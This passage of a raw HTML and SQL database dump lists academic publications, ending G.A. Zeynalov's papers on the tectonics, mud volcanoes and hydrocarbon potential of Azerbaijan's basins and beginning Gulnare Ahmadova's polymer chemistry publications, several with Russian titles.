width=\"167\"><p>Importance of Remote Sensing data in Structural Geologic Analysis of Oil- and Gas-Bearing Regions of Azerbaijan</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td width=\"95\"><p>Zeynalov, G.A.</p></td><td colspan=\"3\" width=\"121\"><p>“Natural Resources Research”</p><p>Kluwer Academic Publishers USA</p></td><td width=\"48\"><p>2000</p></td><td width=\"47\"><p>Vol. 9, No 4, pp.</p><p>307-314.</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"7\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>21</p></td><td colspan=\"2\" width=\"168\"><p>Influences of Faults to formation and Oil Accumulation Zones in the Kura basin</p></td><td width=\"96\"><p>Conference Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"120\"><p>“Extended Abstracts of the 62nd EAGE Conference &amp; Technical Exhibition” SECC, Glasgow, UK</p></td><td width=\"48\"><p>2000</p></td><td colspan=\"2\" width=\"48\"><p>Vol. I, p.</p><p>171-176.</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>22</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"168\"><p>Habitat of mud volcanoes and petroleum seepage in Azerbaijan</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Extended Abstracts of EAGE Conference on Geology and Petroleum Geology of the Mediter-ranean and Circum-Mediterranean Basins” St.Julians, Malta</p></td><td width=\"48\"><p>2000</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>131-135</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>23</p></td><td colspan=\"2\" width=\"168\"><p>Fault-block structure and fluid flow of the Kura basin, Azerbaijan</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Extended Abstracts of EAGE Conference on Geology and Petroleum Geology of the Mediterranean and Circum-Mediterranean Basins” St.Julians, Malta</p></td><td width=\"48\"><p>2000</p></td><td colspan=\"2\" width=\"48\"><p>p.</p><p>145-148</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>24</p></td><td colspan=\"2\" width=\"168\"><p>New data on the tectonics of the Western Coast of South Caspian Basin from analysis of SPOT and Landsat-TM images.</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Proceedings of the Sixth International Conference on Remote Sensing for Marine and Coastal Environment” Charleston,USA</p></td><td width=\"48\"><p>2000</p></td><td colspan=\"2\" width=\"48\"><p>Vol. II, p.</p><p>458</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>25</p></td><td colspan=\"2\" width=\"168\"><p>Fault tectonics and formations of oil and gas pools in the East Azerbaijan from analysis of SPOT/Landsat images.,</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“AAPG’s Inaugural Regional International Conference” Istanbul, Turkey</p></td><td width=\"48\"><p>2000</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>241-242</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>26</p></td><td colspan=\"2\" width=\"168\"><p>The methodology for the use of Landsat-MSS imagery in oil exploration. Example of the East&nbsp;&nbsp; Azerbaijan region.&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“The 2nd International Symposium on Petroleum Geology. Probability Approach to Petroleum Exploration”</p><p>Zagreb, CROATIA</p></td><td width=\"48\"><p>1999</p></td><td colspan=\"2\" width=\"48\"><p>p.</p><p>177-178</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>27</p></td><td colspan=\"2\" width=\"168\"><p>Fault tectonics and its role in fluid dynamics in the South Caspian Basin (western flank) - (in Russian)</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A. and A.A. Feyzulayev</p></td><td colspan=\"2\" width=\"120\"><p>“Proceedings of The Third International Conference devoted to 275th anniversary of Russian Academy of Sciences. New ideas in geology and geochemistry of oil and gas. Oil &amp; gas-bearing basin as a self-developing non-linear systems” Moscow State University, Russia</p></td><td width=\"48\"><p>1999</p></td><td colspan=\"2\" width=\"48\"><p>p.101-103</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>28</p></td><td colspan=\"2\" width=\"168\"><p>Some tectonic aspects of conditions of formation of oil and gas deposits in the western flank of the South Caspian basin (according to the remote sensing data)</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of the International Conference “Geodynamics of the Black sea- Caspian segment of the Alpine folded belt and prospects of search for economic minerals”</p><p>Baku, Azerbaijan</p></td><td width=\"48\"><p>1999</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>202-203</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>29</p></td><td colspan=\"2\" width=\"168\"><p>Applying remote sensing investigations in oil exploration with connection of environmental protection.&nbsp;&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>&nbsp; Abstracts of the Scientific –Practical Conference: Sumgayit: Ecology and Progress, Sumgayit,Azerb</p></td><td width=\"48\"><p>1999</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>103-105</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>30</p></td><td colspan=\"2\" width=\"168\"><p>1999, Geodynamic conditions of formation of Meso-Cenozoic structures in the Kura Basin and its oil and gas potential..,</p><p>June 9-10, 1999, Baku, Azerbaijan, p.226-228</p><p>&nbsp;</p></td><td width=\"96\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"96\"><p>Kuliyev K.G. and Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of the International Conference “Geodynamics of the Black sea- Caspian segment of the Alpine folded belt and prospects of search for economic minerals”</p><p>Baku, Azerb.</p></td><td width=\"48\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"48\"><p>&nbsp;</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>31</p></td><td colspan=\"2\" width=\"168\"><p>Miocene hydrocarbon potential of the South-eastern Gobustan and western Absheron</p><p>(in Russian)</p></td><td width=\"96\"><p>Edited</p><p>publications</p></td><td colspan=\"2\" width=\"96\"><p>I.S. Guliev, A.A. Feyzulayev,&nbsp;&nbsp;&nbsp; K.G. Kuliev M.F. Tagiyev, G.A.</p><p>Zeynalov, and&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; R.A.</p><p>Gurbanova</p></td><td colspan=\"2\" width=\"120\"><p>Proceeding of Geological Institute, Azerbaijan Academy of Sciences</p></td><td width=\"48\"><p>1999</p></td><td colspan=\"2\" width=\"48\"><p>192p</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>32</p></td><td colspan=\"2\" width=\"168\"><p>Studying mud volcanism of Azerbaijan by geological interpretation of remote sensing data</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Abstracts of Africa/Middle East International Geophysical Conference &amp; Exposition” Cairo, Egypt</p></td><td width=\"48\"><p>1997</p></td><td colspan=\"2\" width=\"48\"><p>pp. 47-48</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>33</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"168\"><p>Lineament field of East Azerbaijan and some regularities of formation of oil and gas deposits. 1997,</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of The conference of Azerbaijan Society of Petroleum Geologists. “Generation, migration and accumulation of hydrocarbons”Baku, Azerbaijan,</p></td><td width=\"48\"><p>&nbsp;</p><p>1997</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>36 -37</p><p>&nbsp;</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>34</p></td><td colspan=\"2\" width=\"168\"><p>Elaboration and optimization methods of mapping of geologic-geophysical sections, maps and etc subsurface images on base of PC. (in Russian)</p></td><td width=\"96\"><p>Methodo-logical Guidelines</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"96\"><p>Guliyev I.S., Zeynalov G.A., Tagiyev, M.F. and Guliyev, S.I.</p></td><td colspan=\"2\" width=\"120\"><p>“Proceedings of Geological Institute of Azerbaijan Academy of Sciences”</p><p>Baku</p><p>Azerbaijan</p></td><td width=\"48\"><p>1997</p></td><td colspan=\"2\" width=\"48\"><p>36 p.</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>35</p><p>&nbsp;</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"168\"><p>Palaeotectonic reconstruction of regional structure of Kura depression (in Russian)</p></td><td width=\"96\"><p>Journal</p><p>Article</p></td><td colspan=\"2\" width=\"96\"><p>Azerli M.M.</p><p>&amp; Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Azerbaijan Oil Industry” Baku</p></td><td width=\"48\"><p>1996</p></td><td colspan=\"2\" width=\"48\"><p>No11, pp. 4-8</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>36</p></td><td colspan=\"2\" width=\"168\"><p>Integration of of geologic-geophysical and remote sensing data for evaluation geologic structure of&nbsp; the Kura Basin</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Proceedings of the 1st International Symposium on Petroleum Geology. Economic Aspects of Petroleum Exploration” Zagreb, CROATIA</p></td><td width=\"48\"><p>1996</p></td><td colspan=\"2\" width=\"48\"><p>p.231-232</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>37</p></td><td colspan=\"2\" width=\"168\"><p>Mud volcanism and oil and gas content of the Lower Kura Basin</p></td><td width=\"96\"><p>Doctoral</p><p>Honor</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Thesis of PhD dissertation. Geological Institute, Azerbaijan Academy of Sciences, Baku, Azerbaijan</p></td><td width=\"48\"><p>1996</p></td><td colspan=\"2\" width=\"48\"><p>168 p.</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>38</p></td><td colspan=\"2\" width=\"168\"><p>The oil and gas potential of the structures affected by mud volcanoes. 1995,</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>A.A.</p><p>Feizullayev, K.G.Kuliyev and Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of the III International Conference of AAPG, Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>1995</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>19-22&nbsp;</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>39</p></td><td colspan=\"2\" width=\"168\"><p>Lineamental field of Lower Kura block and the specifics of mud volcanoes distribution</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>M.M.Azerli, Zeynalov, G.A.,</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of III International Conference of AAPG, Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>1995</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>19-22</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>40</p></td><td colspan=\"2\" width=\"168\"><p>Peculiarities of mud volcanoes distribution in the Lower Kura depression</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of III International Conference of AAPG, Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>1995</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>37-39</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>41</p></td><td colspan=\"2\" width=\"168\"><p>Role structural-tectonic development factor in prognosing of oil and gas content of the Lower Kura basin (in Russian)</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of Scientific-practical Conference of Young scientists dedicated to the problems of oil and gas industry, Baku, Azerbaijan</p></td><td width=\"48\"><p>1995</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>2-4</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>42</p></td><td colspan=\"2\" width=\"168\"><p>About historical-geologic modelling of oil and gas generation in the Lower Kura Basin (in Russian)</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of Scientific-practical Conference of Young scientists dedicated to the problems of oil and gas industry, Baku, Azerbaijan,</p></td><td width=\"48\"><p>1995</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>4-5</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>43</p></td><td colspan=\"2\" width=\"168\"><p>&nbsp;Geochemistry of oil and mineralogy of solid products of Azerbaijan mud volcanoes. (in Russian)</p></td><td width=\"96\"><p>Edited publications</p></td><td colspan=\"2\" width=\"96\"><p>Guliyev I.S., Feyzullayev, A.A., Kulyev K.G., Tagiyev M.F., Zeynalov, G.A. and Gurbanova R.A.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of Geological Institute of Azerbaijan Academy of Sciences,</p><p>Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>1995</p></td><td colspan=\"2\" width=\"48\"><p>132 p.</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>44</p></td><td colspan=\"2\" width=\"168\"><p>Classification of mud volcanoes of the Lower Kura Basin (in Russian)</p><p>&nbsp;</p></td><td width=\"96\"><p>Journal</p><p>Article</p></td><td colspan=\"2\" width=\"96\"><p>E.B.Bagirov and Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Azerbaijan Oil Industry”</p><p>Baku, Azerbaijan</p></td><td width=\"48\"><p>1994</p></td><td colspan=\"2\" width=\"48\"><p>No 6, p.45-54</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>45</p></td><td colspan=\"2\" width=\"168\"><p>Preliminary results of studying mud volcanism of Azerbaijan by satellite images</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Rahmanov R.R,</p><p>Zeynalov, G.A. and Azerli M.M.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of the I Eurasian Symposium on Space Sciences and Technologies, Gebze-Kocaeli,</p><p>Turkey</p></td><td width=\"48\"><p>1993</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>127-129</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>46</p></td><td colspan=\"2\" width=\"168\"><p>Oil and gas prospects of Paleogene sediments in Lower Kura Basin (in Russian)</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku</p></td><td width=\"48\"><p>1993</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>71-72</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>47</p></td><td colspan=\"2\" width=\"168\"><p>Mud volcano distributions and hydrocarbon seepages in Shamakhy-Gobustan and Lower Kura depressions (in Russian)</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku</p></td><td width=\"48\"><p>1992</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>44-45</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>48</p></td><td colspan=\"2\" width=\"168\"><p>Oil and gas prospects of Productive series in Lower Kura Basin and Baku archipelago. Proceedings of Geological Institute of Azerbaijan Academy of Sciences (in Russian</p></td><td width=\"96\"><p>Edited</p><p>publications</p></td><td colspan=\"2\" width=\"96\"><p>Mehdiyev Sh.F., BunyadzadeZ.A.,</p><p>AliyevG.M., Bashirov</p><p>Y.F.,</p><p>Zeynalov, G.A. and Efendiyev A. N.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of Geological Institute of Azerbaijan Academy of Sciences,</p><p>Baku</p><p>Azerbaijan</p></td><td width=\"48\"><p>1992</p></td><td colspan=\"2\" width=\"48\"><p>178p</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>49</p></td><td colspan=\"2\" width=\"168\"><p>Facial-lithologic characterization of lower horizons of Productive Series (Lower Pliocene) sediments in Lower Kura Basin (in Russian)</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku</p></td><td width=\"48\"><p>1991</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>70-71</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>50</p></td><td colspan=\"2\" width=\"168\"><p>On structural division of Cheleken-Livanov uplift zone (Turkmenistan)</p><p>(in Russian)</p></td><td width=\"96\"><p>Journal</p><p>Article</p></td><td colspan=\"2\" width=\"96\"><p>N.R.</p><p>Narimanov, A.K.Abasov and G.A.</p><p>Zeynalov</p></td><td colspan=\"2\" width=\"120\"><p>“Oil &amp; Gas” Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>1991</p></td><td colspan=\"2\" width=\"48\"><p>No 2, pp.</p><p>11-16</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>51</p></td><td colspan=\"2\" width=\"168\"><p>Palaeotectonic development from Pliocene to Quaternary periods in Absheron archipelago, South Caspian Basin, (in Russian)</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of&nbsp; Conference Soviet Union Young scientists and students, DnepropetrovskUkraine</p></td><td width=\"48\"><p>1990</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>123-124</p></td></tr></tbody></table>  <br></div>'),(1534,959,'en','Gulnare Ahmadova','Gulnare Ahmadova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"815\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td width=\"47\"><p><strong>N</strong></p></td><td width=\"208\"><p><strong>Title of publication</strong></p></td><td width=\"160\"><p><strong>Publications</strong></p><p><strong>Type/publication</strong></p><p><strong>activities</strong></p></td><td width=\"136\"><p><strong>All authors</strong></p></td><td width=\"104\"><p><strong>Publisher&nbsp;</strong><strong>&amp; place of publication</strong></p></td><td width=\"72\"><p><strong>Year published</strong></p></td><td width=\"88\"><p><strong>Vol.&nbsp;</strong><strong>&amp; pages</strong></p></td></tr><tr><td width=\"47\"><p>1.</p></td><td width=\"208\"><p>Synthesis of polymers and copolymers based on oxypropyl ester of (meth) acrylic acid</p><p>&nbsp;</p></td><td width=\"160\"><p>MACRO’87: 31-st IUPАC Маcrоmоl. Symp. Merseburg. Microsymp.2, Microsymp.3.S.1</p></td><td width=\"136\"><p>Aliyev V.S.</p><p>Asadov Z.G.</p><p>Yusubov A.Y.</p><p>Aga-zade A.D.</p><p>Ahmadova G.A.</p><h2>&nbsp;</h2></td><td width=\"104\"><p>Germany,</p><p>Merseburg</p></td><td width=\"72\"><h2>1987</h2></td><td width=\"88\"><p>p.117</p></td></tr><tr><td width=\"47\"><p>2.</p></td><td width=\"208\"><h2>Превращения акрилонитрила в кислотных средах</h2></td><td width=\"160\"><h2>Деп. В ВИНИТИ №4. 291-В87 от 12/VI 1987</h2></td><td width=\"136\"><h2>Алиев В.С.</h2><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><h2>Юсубов А.Ю.</h2><p>Гурская М.В</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><p>Россия</p></td><td width=\"72\"><p>1987</p></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>3.</p></td><td width=\"208\"><h2>Полимеризация оксипропилакрилата в водной и органической средах</h2></td><td width=\"160\"><h2>Материалы III Республиканской конференции молодых ученых-химиков, посвященной 80-летию академика М.Ф.Нагиева</h2></td><td width=\"136\"><p>Ахмедова Г.А</p><p>Ага-заде А.Д.</p><p>Асадов З.Г.</p><p>&nbsp;</p></td><td width=\"104\"><p>Баку: Элм</p></td><td width=\"72\"><h2>1988</h2></td><td width=\"88\"><p>C.109</p></td></tr><tr><td width=\"47\"><p>4.</p></td><td width=\"208\"><h2>Об активности карбоксильной группы в реакции оксипропилирования</h2></td><td width=\"160\"><h2>Труды&nbsp; I научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР; Химия и технология нефтехим. синтеза и высокомол. соед.</h2></td><td width=\"136\"><h2>Юсубов А.Ю.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><h2>Асадов З.Г.</h2></td><td width=\"104\"><h2>Деп.в ВИНИТИ №326-В89</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"88\"><p>Ч.2.С.64-67</p></td></tr><tr><td width=\"47\"><p>5.</p></td><td width=\"208\"><h2>Кинетические особенности радикальной гомополимеризации оксипропилакрилата и оксипропилметакрилата</h2></td><td width=\"160\"><h2>Труды&nbsp; I научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР; Химия и технология нефтехим. синтеза и высокомол. соед.</h2></td><td width=\"136\"><h2>Ахмедова Г.</h2><h2>Юсубов А.Ю.</h2><h2>Асадов З.Г.</h2></td><td width=\"104\"><h2>Деп.в ВИНИТИ №326-В89</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"88\"><p>Ч.2.С.72-74</p></td></tr><tr><td width=\"47\"><p>6.</p></td><td width=\"208\"><h2>Синтез и (со)полимеризация оксипропил(мет)акрилата</h2></td><td width=\"160\"><h2>Всесоюзная конференция «Радикальная полимеризация»</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ахмедова Г.А.</p><p>Юсубов А.Ю.</p><p>Касимов А.А.</p><p>&nbsp;</p></td><td width=\"104\"><h2>Россия,</h2><h2>Горький</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"88\"><p>С.58-59</p></td></tr><tr><td width=\"47\"><p>7.</p></td><td width=\"208\"><h2>Синтез и нефтевытесняющие свойства водорастворимых полимеров на основе акриловой кислоты, окиси пропилена&nbsp; и (не)органических оснований</h2></td><td width=\"160\"><h2>Современные методы увеличения нефтеотдачи пластов (краткие тезисы докладов Всесоюзного совещания)</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А</p><p>Насибова Ш.М Касимов А.А.</p><p>Алиев Б.М.</p><p>&nbsp;</p></td><td width=\"104\"><h2>Россия,</h2><h2>Бугульма</h2></td><td width=\"72\"><p>1989</p></td><td width=\"88\"><p>С.190-192</p></td></tr><tr><td width=\"47\"><p>8.</p></td><td width=\"208\"><h2>Некоторые кинетические параметры радикальной полимеризации оксипропилакрилата, инициированной персульфатными солями</h2></td><td width=\"160\"><h2>Труды&nbsp; 2-ой научной конференции молодых ученых Ин-та нефтехимич. Процессов АН АзССР; Кинетика и катализ, оптимизация и моделирование нефтехимических процессов</h2></td><td width=\"136\"><h2>Ахмедова Г.А.</h2><p>Асадов З.Г.</p></td><td width=\"104\"><h2>Деп.в ВИНИТИ №6876-В89</h2></td><td width=\"72\"><p>1989</p></td><td width=\"88\"><p>Ч.1.С.17-20</p></td></tr><tr><td width=\"47\"><p>9.</p></td><td width=\"208\"><h2>Синтез сополимеров оксипропилового эфира акриловой кислоты</h2></td><td width=\"160\"><h2>Труды&nbsp; 3-ей научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР</h2></td><td width=\"136\"><h2>Ахмедова Г.А.</h2><p>Асадов З.Г.</p></td><td width=\"104\"><h2>Деп.в ВИНИТИ №2272-В89</h2></td><td width=\"72\"><p>1990</p></td><td width=\"88\"><p>С.34-36</p></td></tr><tr><td width=\"47\"><p>10.</p></td><td width=\"208\"><h2>Синтез водорастворимых олигомеров на основе акриловой кислоты и окиси пропилена</h2></td><td width=\"160\"><h2>IV Всесоюзная конференция по химии и физико-химии олигомеров. Тезисы пленарных и стендовых докладов,&nbsp; Черноголовка</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Алиев В.С..</p><p>Ахмедова Г.А</p><p>Ага-заде А.Д.</p><p>Касимов А.А.</p><p>Насибова Ш.М</p></td><td width=\"104\"><h2>Россия,</h2><h2>Нальчик</h2></td><td width=\"72\"><p>1990</p></td><td width=\"88\"><p>С.177</p></td></tr><tr><td width=\"47\"><p>11.</p></td><td width=\"208\"><h2>Реагент для подавления жизнедеятельности сульфатвосстанавливающих бактерий в заводняемом нефтяном пласте</h2></td><td width=\"160\"><h2>Авторское свидетельство СССР №1747681</h2></td><td width=\"136\"><p>Ханларова А.Г.</p><p>Кандинская Л.И.</p><p>Асадов З.Г.</p><p>Алиев В.С.</p><p>Файзуллина Е.Ю.</p><p>Гаджиева Р.Н.</p><p>Самедова А.М.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><h2>&nbsp;</h2></td><td width=\"72\"><p>1992</p></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>12.</p></td><td width=\"208\"><h2>Способ получения оксипропильных производных&nbsp; полиакриловой кислоты</h2></td><td width=\"160\"><h2>Авторское свидетельство СССР №1829375</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Алиев В.С.</p><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Касимов А.А.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><h2>&nbsp;</h2></td><td width=\"72\"><p>1992</p></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>13.</p></td><td width=\"208\"><h2>Synthesis, kinetic regularities and mechanism of process for obtaining of water-soluble polymeric surface-active substance (SAS) based on acrylic acid and propylene oxide</h2></td><td width=\"160\"><h2>Birinci Azərbaycan-Türkiyə “Polimer-91” Bildiri özetleri</h2></td><td width=\"136\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><h2>Ahmadova G.A.</h2><h2>Nasibova Sh.M.</h2><h2>Kasimov A.A.</h2><h2>Aliyev V.S.</h2><p>&nbsp;</p></td><td width=\"104\"><h2>Baku</h2></td><td width=\"72\"><p>1991</p></td><td width=\"88\"><p>pp. 365-366</p></td></tr><tr><td width=\"47\"><p>14.</p></td><td width=\"208\"><h2>Применение водорастворимых полимеров на основе акриловой&nbsp; кислоты и окиси пропилена в извлечении нефти методом мицеллярно-полимерного заводнения</h2></td><td width=\"160\"><h2>Нефть и газ. Известия высших учебных заведений</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p><p>Касимов А.А.</p><p>Алиев В.С.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1992</p></td><td width=\"88\"><p>№3-4.С. 31-34</p></td></tr><tr><td width=\"47\"><p>15.</p></td><td width=\"208\"><h2>Regularities and peculiarities for&nbsp; obtaining&nbsp; water-soluble surface-active (co)polymers of acrylic acid’s oxypropyl and chloroxypropyl esters</h2></td><td width=\"160\"><h2>İkinciAzərbaycan-Türkiyə “Polimer-92” Tebliq özetleri</h2></td><td 